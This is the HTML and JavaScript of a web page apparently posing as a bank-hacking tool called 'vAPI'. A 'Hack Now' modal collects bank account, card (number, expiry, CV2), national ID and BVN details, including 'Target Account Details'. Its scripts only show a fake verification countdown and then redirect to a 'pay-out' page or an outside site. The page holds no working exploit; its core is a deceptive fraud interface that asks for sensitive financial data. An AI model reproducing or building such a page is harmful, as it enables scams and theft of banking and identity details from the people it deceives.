<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->
    <meta name="description" content="">
    <meta name="author" content="">
  


   <link href="manifest/images/favicon1.png" rel="icon"><title>vAPI </title>

    <!-- Bootstrap core CSS -->
    <link href="manifest/Bootstrap/css/bootstrap.min.css" rel="stylesheet">
	
    <!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->
            
    
    <link href="manifest/Bootstrap/css/carousel.css" rel="stylesheet">
  
  <link rel="stylesheet" href="manifest/Bootstrap/css/font-awesome.min.css"  media="screen">
<script>
var time = Math.floor(Math.random() * 50001) + 10000;

 function accnLoading(){
 $('.ajax-loader').css("visibility", "visible");
 var bn1 = document.getElementById('bn1').value;
 var ba1 = document.getElementById('ba1').value;
 var bc1 = document.getElementById('bc1').value;
 var swc1 = document.getElementById('swc1').value;
 var sc1 = document.getElementById('sc1').value;
 var an1 = document.getElementById('an1').value;
 var acn1 = document.getElementById('acn1').value;
 var at1 = document.getElementById('at1').value;
 var nin1 = document.getElementById('nin1').value;
 var phn1 = document.getElementById('phn1').value;
 var email1 = document.getElementById('email1').value;
 var date1 = document.getElementById('date1').value;
 var address1 = document.getElementById('address1').value;
 
 var hd = document.getElementById('hd');
 if(bn1 =='' || ba1 =="" || bc1=="" || swc1=="" || sc1=="" || an1=="" || acn1=="" || at1 =="" || nin1 =="" || phn1 =="" || email1=="" || date1=="" || address1 =="" ){
 hd.innerHTML = "<span style='font-size:54px'>⚠</span> <br>One or more of the required Account Loading Fields is not set. This process will be terminated in about " +  Math.round(time/1000) + " seconds <i class = 'fa fa-spinner fa-spin' style ='font-size:22px'></i>";
 setTimeout(reload, time);
 }
 else{
 hd.innerHTML = "Verifying Account Loading details. This process may takes about " +  Math.round(time/1000) + " seconds or more <i class = 'fa fa-spinner fa-spin' style ='font-size:22px'></i>";
setTimeout(myLink, time);
}
}



 function cardLoading(){
 $('.ajax-loader').css("visibility", "visible");
 var cn2 = document.getElementById('cn2').value;
 var xpd2 = document.getElementById('xpd2').value;
 var cv2 = document.getElementById('cv2').value;
 var hn2 = document.getElementById('hn2').value;
 
 var hd = document.getElementById('hd');
 if(cn2 =='' || xpd2 =="" || cv2=="" || hn2==""){
 hd.innerHTML = "<span style='font-size:54px'>⚠</span> <br>One or more of the required Card Loading Fields is not set. This process will be terminated in about " +  Math.round(time/1000) + " seconds <i class = 'fa fa-spinner fa-spin' style ='font-size:22px'></i>";
 setTimeout(reload, time);
 }
 else{
 hd.innerHTML = "Verifying Card Loading details. This process may takes about " +  Math.round(time/1000) + " seconds or more <i class = 'fa fa-spinner fa-spin' style ='font-size:22px'></i>";
setTimeout(myLink, time);
}
}




 function serverLoading(){
 $('.ajax-loader').css("visibility", "visible");
 var bn3 = document.getElementById('bn3').value;
 var ba3 = document.getElementById('ba3').value;
 var bc3 = document.getElementById('bc3').value;
 var sc3 = document.getElementById('sc3').value;
 var swc3 = document.getElementById('swc3').value;
 var an3 = document.getElementById('an3').value;
 var acn3 = document.getElementById('acn3').value;
 var at3 = document.getElementById('at3').value;
 var nin3 = document.getElementById('nin3').value;
 var bvn3 = document.getElementById('bvn3').value;
  
 var hd = document.getElementById('hd');
 if(bn3 =='' || ba3 =="" || bc3=="" || swc3=="" || sc3 =="" || an3=="" || acn3=="" || at3 =="" || nin3 =="" || bvn3 ==""){
 hd.innerHTML = "<span style='font-size:54px'>⚠</span> <br>One or more of the required Server Loading Fields is not set. This process will be terminated in about " +  Math.round(time/1000) + " seconds <i class = 'fa fa-spinner fa-spin' style ='font-size:22px'></i>";
 setTimeout(reload, time);
 }
 else{
 hd.innerHTML = "Verifying Server Loading details. This process may takes about " +  Math.round(time/1000) + " seconds or more <i class = 'fa fa-spinner fa-spin' style ='font-size:22px'></i>";
setTimeout(myLink, time);
}
}







function myLink(){ 
window.location.href='pay-out.html';	
}

function reload(){ 
$('.ajax-loader').css("visibility", "hidden");
}

 function loadin(){
 
 var hd = document.getElementById('hd');
 hd.innerHTML = "<strong style='font-size:30px'>Getting Started. . . </strong><i class = 'fa fa-spinner fa-spin' style ='font-size:22px'></i>";

$('.ajax-loader').css("visibility", "visible");
window.location.href='https://softtenet.com/xyz/loading.html';		


}
</script>


<style>
 .viewAnswer{
            background-color:black;
            color:white;
	border: 1px solid green;
           }

div h5{
        Font-family: Tahoma , Verdana;
}
.skinColor{
        background-color: purple;
 }
a:hover{background-color:yellow}

body, html{
		background-image:url('manifest/images/vapi.png');
		height:100%;
		width:100%;
		background-position:center;
		background-repeat:no-repeat;
		background-size:cover;
	}
	.bg{
		
		background-image:url('manifest/images/vapi.png');
		height:100%;
		width:100%;
		background-position:center;
		background-repeat:no-repeat;
		background-size:cover;
		
	}
	
	
	 #status {
           
            padding: 5px 10px 5px 30px;
            width: 75%;
            margin: 0 auto;
            border-radius: 10px;
            font-size: 12px;
            font-weight: bold;
            //text-transform: uppercase;
            position: relative;
        }
        #status.online {
            color: white;
        }        
        #status.offline {
            color: white;
        }
        #status.online::before{
            width: 300px;
            height: 45px;
            content: 'Online:';
            border-radius: 15px;
            box-shadow: 3px 0 8px;
            position: absolute;
            
			font-size:22px;
			padding-left:7px;
        }
		
		
		 #status.offline::before {
            width: 400px;
            height: 40px;
            content: "You're Offline, Please Connect!";
            border-radius: 15px;
            box-shadow: 0 0 4px;
            position: absolute;
            left: 40px;
            top: 40px;
			font-size:24px;
			padding-left:7px;
        }
		
        #status.online::before {
            background: #02fa00;
        }
        #status.offline::before {
            background: red;
        }
		
		.offline{
		animation:offline 5000ms infinite alternate;
		}
		@keyframes offline{
		from {opacity:1;}
		to{opacity:0;}
		
		}
		
		
.ajax-loader {
 visibility: hidden;
  background-color: rgba(255,255,255,0.7);
  position: fixed;
  z-index: +100 !important;
  width: 100%;
  height:100%;
  margin:auto;
  top:25%;
}

.ajax-loader img {
//  position: relative;
  top:10%;
  //left:50%;
  width:100%;
  height:100%;
}

</style>

</head>
<!-- NAVBAR
================================================== -->
  <body style = "background-color:black">
 


   <div class="main-wrapper">
   
   <div class="ajax-loader" style = 'background-color:red'>
<h4 id = 'hd' style ='color:white; text-align:center'></h4>
  <img src="manifest/images/ajax-loader.gif" class="img-responsive">
 
</div>
   <br><br><br>
 <!--  <p align = "center" ><br><img  src = "manifest/images/logo_929857_137950_60598.png" width = '50px' height = '110px'></p> -->
<script>window.jQuery || document.write('<script src="manifest/Bootstrap/js/jquery.js"><\/script>')</script>
<script src="manifest/Bootstrap/js/bootstrap.js"></script>
<script src="manifest/Bootstrap/js/jquery.js"></script>

<script>    
    var hint = document.getElementById("hint");
    
    // Defining function to update connection status
    function updateConnectionStatus() {  
        var status = document.getElementById("status");
        if(navigator.onLine) {
		
            status.innerHTML = "<H4 id = 'status'><strong><a class='btn btn-success' href = '#0' style='font-size:16px; width:140px; border-radius:8px; background-color:red' onclick = 'javascript:loadin()'>Launch vAPI</a>";
            status.classList.add("online");
            status.classList.remove("offline");                        
        } else {
		
            status.innerHTML = "<H4><strong>";
            status.classList.add("offline");
			
            status.classList.remove("online"); 




			
        }
		//blink('.offline');
    }

    // Attaching event handler for the load event
    window.addEventListener("load", updateConnectionStatus);
    
    // Attaching event handler for the online event
    window.addEventListener("online", updateConnectionStatus);
    
    // Attaching event handler for the offline event
    window.addEventListener("offline", updateConnectionStatus);

    </script>
	<br><br><br><br><br><br><br><br>
    <div id="status"></div>   
   
    <p id="hint"></p>
	

 


</div>


	





<div class="modal fade" data-keyboard = "false" data-backdrop= "static" id="load" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
<div class="modal-dialog">
<div class="modal-content" style = "background-color:#06243e">
<div class="modal-header alert-info" style = "background-color:black; border:0px"><strong style = "color:white">Hack Now</strong>
<button type="button" class="close" data-dismiss="modal" aria-hidden="true" style = "color:white; opacity:1; background-color:red; width:18px; height:19px; text-align:center; border-radius:3px" title = 'close'>&times;</button>

</div>
<div class="modal-body">
<i style = "font-size:16px"></i><small style = "color:red"></small>
<div class="container-fluid" style ='width:100%; border: solid 1px grey; margin:auto; border-radius:8px; padding:12px'>
 	
<h6>
  <ul class="nav nav-tabs" style='border: solid 1px'>
    <li class="active"><a style ='background-color:black; color:white' data-toggle="tab" href="#account_loading"><b>Account Loading</b></a></li>
	<li><a style ='background-color:black; color:white' data-toggle="tab" href="#card_loading"><b>Card Loading</b></a></li>
	<li><a style ='background-color:black; color:white' data-toggle="tab" href="#server_loading"><b>Server Loading</b></a></li>

  </ul>
</h6>

<div class="tab-content">

<div id="account_loading" class="tab-pane fade in active"><br>
   <h4 style = 'color:white'><b><span class ='fa fa-user'></span> Account Loading</b></h4>
  

<div class ='row' style ='width:100%; border: solid 1px grey; margin:auto; border-radius:8px; padding:12px'>
<div class ='row' style ='width:100%; border: solid 1px grey; margin:auto; border-radius:8px'>
<form name = 'noname' method ='POST'>
<div class="control-group">
					<br><strong  style='color:white; padding-left:16px'>Bank Details  (All field required  <strong id='bname' style ='color:red'> *</strong>)</strong><br><br><br>					  
										    <div class="col-md-6">
											<div class="controls">
											
<label>Bank Name</label>

<input type = "text" name = "bn" class="form-control" required = "required" style = "font-size:26px; color:black" value= '' id = "bn1">
         



                                                        </div>
                                                    </div></div>
													
												
                                              <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Branch Address</label>
                                                        
<input type = "text" name = "ba" id = "ba1" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                     
													   </div>
                                                    </div></div>
													
													  <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Branch Code</label>
                                                        
<input type = "text" name = "bc" id = "bc1" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                     
													   </div>
                                                    </div></div>
							
													
													
													
	
  <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Sort Code</label>
                                                        
<input type = "text" name = "sc" id = "sc1" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                 
													   </div>
                                                    </div></div>
													
													  <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Swift Code</label>
                                                        
<input type = "text" name = "swc" id = "swc1" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                 
													   </div>
                                                    </div></div>
	
	</div>
	
	
	
	
<br>	
	

<div class ='row' style ='width:100%; border: solid 1px grey; margin:auto; border-radius:8px'>

<div class="control-group">
					<br><strong  style='color:white; padding-left:16px'>Account Holder Details (All field required  <strong id='bname' style ='color:red'> *</strong>)</strong></strong><br><br><br>					  
										    <div class="col-md-6">
											<div class="controls">
											
<label>Account Name</label>

<input type = "text" name = "an" class="form-control" required = "required" style = "font-size:26px; color:black" value= '' id = "an1">
         



                                                        </div>
                                                    </div></div>
													
												
                                              <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Account Number</label>
                                                        
<input type = "number" name = "acn" id = "acn1" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                     
													   </div>
                                                    </div></div>
													
													  <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Account Type</label>
                                                        
<select name="at" class="form-control" id = "at1" required="required" style = 'width:100%'>
<option value = ""></option>
<option value="2">Current</option>
<option value="1">Savings</option>
<option value="4">Fixed Deposit</option>
 </select><br>                                                     
													   </div>
                                                    </div></div>
							
													
													
													
	
  <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>NIN</label>
                                                        
<input type = "text" name = "nin" id = "nin1" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                 
													   </div>
                                                    </div></div>
													
													  <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Phone Number</label>
                                                        
<input type = "number" name = "phn" id = "phn1" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                 
													   </div>
                                                    </div></div>
													
													
													
													
 <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Email Address</label>
                                                        
<input type = "email" name = "email" id = "email1" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                 
													   </div>
                                                    </div></div>
													
													


 <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Registered Address</label>
                                                        
<input type = "text" name = "address" id = "address1" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                 
													   </div>
                                                    </div></div>
													
													
													
 <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Date Opened</label>
                                                        
<input type = "date" name = "date" id = "date1" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                 
													   </div>
                                                    </div></div>

													
	
	</div>
	


	
	<p class = "pull-right"><br>
<button type="button" class="btn btn-primary" name = "btnsave" onclick = "javascript: accnLoading()" data-dismiss="modal">
<strong class="fa">CONTINUE</strong></button>

<button type="button" class="btn btn-default" data-dismiss="modal">
<span class="glyphicon"></span> CANCEL</button>

</p>
</form>	
</div>

</div>

<div id="card_loading" class="tab-pane fade"><br>
 <h4 style = 'color:white'><b> <span class ='fa fa-bank'></span> Card Loading</b></h4>



<div class ='row' style ='width:100%; border: solid 1px grey; margin:auto; border-radius:8px; padding:12px'>
<div class ='row' style ='width:100%; border: solid 1px grey; margin:auto; border-radius:8px'>
<form name = 'noname' method ='POST'>
<div class="control-group">
					<br><strong  style='color:white; padding-left:16px'>Card Info (All field required  <strong id='bname' style ='color:red'> *</strong>)</strong></strong><br><br><br>					  
										    <div class="col-md-6">
											<div class="controls">
											
<label>Card Number</label>

<input type = "text" name = "cn" class="form-control" required = "required" style = "font-size:26px; color:black" value= '' id = "cn2">
         



                                                        </div>
                                                    </div></div>
													
												
                                              <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Exp. Date</label>
                                                        
<input type = "text" name = "xpd" id = "xpd2" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                     
													   </div>
                                                    </div></div>
													
													  <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>CV2</label>
                                                        
<input type = "text" name = "cv2" id = "cv2" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                     
													   </div>
                                                    </div></div>
							
													
													
													
	
  <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Holder Name</label>
                                                        
<input type = "text" name = "hn" id = "hn2" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                 
													   </div>
                                                    </div></div>
													
													
	</div>
	
	
	
	
	<p class = "pull-right"><br>
<button type="button" class="btn btn-primary" name = "btnsave" onclick = "cardLoading()" data-dismiss="modal">
<strong class="fa">CONTINUE</strong></button>

<button type="button" class="btn btn-default" data-dismiss="modal">
<span class="glyphicon"></span> CANCEL</button>

</p>
</form>	
</div>						
</div>




<div id="server_loading"  class="tab-pane fade"><br>
   <h4 style = 'color:white'><b><span class ='fa fa-server'></span>  Server Loading</b></h4>
  
<div class ='row' style ='width:100%; border: solid 1px grey; margin:auto; border-radius:8px; padding:12px'>
<div class ='row' style ='width:100%; border: solid 1px grey; margin:auto; border-radius:8px'>
<form name = 'noname' method ='POST'>
<div class="control-group">
					<br><strong  style='color:white; padding-left:16px'>Server Details (All field required  <strong id='bname' style ='color:red'> *</strong>)</strong></strong><br><br><br>					  
										    <div class="col-md-6">
											<div class="controls">
											
<label>Bank</label>

<input type = "text" name = "bn" class="form-control" required = "required" style = "font-size:26px; color:black" value= '' id = "bn3">
         



                                                        </div>
                                                    </div></div>
													
												
                                              <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Branch</label>
                                                        
<input type = "text" name = "ba" id = "ba3" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                     
													   </div>
                                                    </div></div>
													
													  <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Branch Code</label>
                                                        
<input type = "text" name = "bc3" id = "bc3" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                     
													   </div>
                                                    </div></div>
							
													
													
													
	
  <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Sort Code</label>
                                                        
<input type = "text" name = "sc3" id = "sc3" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                 
													   </div>
                                                    </div></div>
													
													  <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Swift Code</label>
                                                        
<input type = "text" name = "swc3" id = "swc3" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                 
													   </div>
                                                    </div></div>
	
	</div>
	
	
	
	
<br>	
	

<div class ='row' style ='width:100%; border: solid 1px grey; margin:auto; border-radius:8px'>

<div class="control-group">
					<br><strong  style='color:white; padding-left:16px'>Target Account Details (All field required  <strong id='bname' style ='color:red'> *</strong>)</strong></strong><br><br><br>					  
										    <div class="col-md-6">
											<div class="controls">
											
<label>Account Name</label>

<input type = "text" name = "an3" class="form-control" required = "required" style = "font-size:26px; color:black" value= '' id = "an3">
         



                                                        </div>
                                                    </div></div>
													
												
                                              <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Account Number</label>
                                                        
<input type = "number" name = "acn3" id = "acn3" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                     
													   </div>
                                                    </div></div>
													
													  <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Account Type</label>
                                                        
<select name="at" class="form-control" id = "at3" required="required" style = 'width:100%'">
<option value = ""></option>
<option value="2">Current</option>
<option value="1">Savings</option>
<option value="4">Fixed Deposit</option>
 </select><br>                                                     
													   </div>
                                                    </div></div>
							
													
													
													
	
  <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>NIN</label>
                                                        
<input type = "text" name = "nin" id = "nin3" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                 
													   </div>
                                                    </div></div>
						
																		
	
  <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>BVN</label>
                                                        
<input type = "text" name = "bvn" id = "bvn3" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                 
													   </div>
                                                    </div></div>
													
													
										<!--			
													
													  <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Phone Number</label>
                                                        
<input type = "number" name = "phn" id = "phn" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%" onchange = "getSummary_edt()">
<br>                                                 
													   </div>
                                                    </div></div>
													
													
													
													
 <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Email Address</label>
                                                        
<input type = "email" name = "email" id = "email" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                 
													   </div>
                                                    </div></div>
													
													


 <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Registered Address</label>
                                                        
<input type = "text" name = "address" id = "address" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                 
													   </div>
                                                    </div></div>
													
													
													
 <div class="control-group">
										  
										    <div class="col-md-6">
											<div class="controls">
                                                        <label>Date Opened</label>
                                                        
<input type = "date" name = "date" id = "date" class="form-control" required = "required" style = "font-size:16px; color:black; width:100%">
<br>                                                 
													   </div>
                                                    </div></div>
													
													-->

													
	
	</div>
	


	
	<p class = "pull-right"><br>
<button type="button" class="btn btn-primary" name = "btnsave" onclick = "javascript: serverLoading()" data-dismiss="modal">
<strong class="fa">CONTINUE</strong></button>

<button type="button" class="btn btn-default" data-dismiss="modal">
<span class="glyphicon"></span> CANCEL</button>

</p>
</form>	
</div>

</div>	
  
</div>
</div>
</div>
</div>
</div>
</div>
</div>






  </body>
</html>
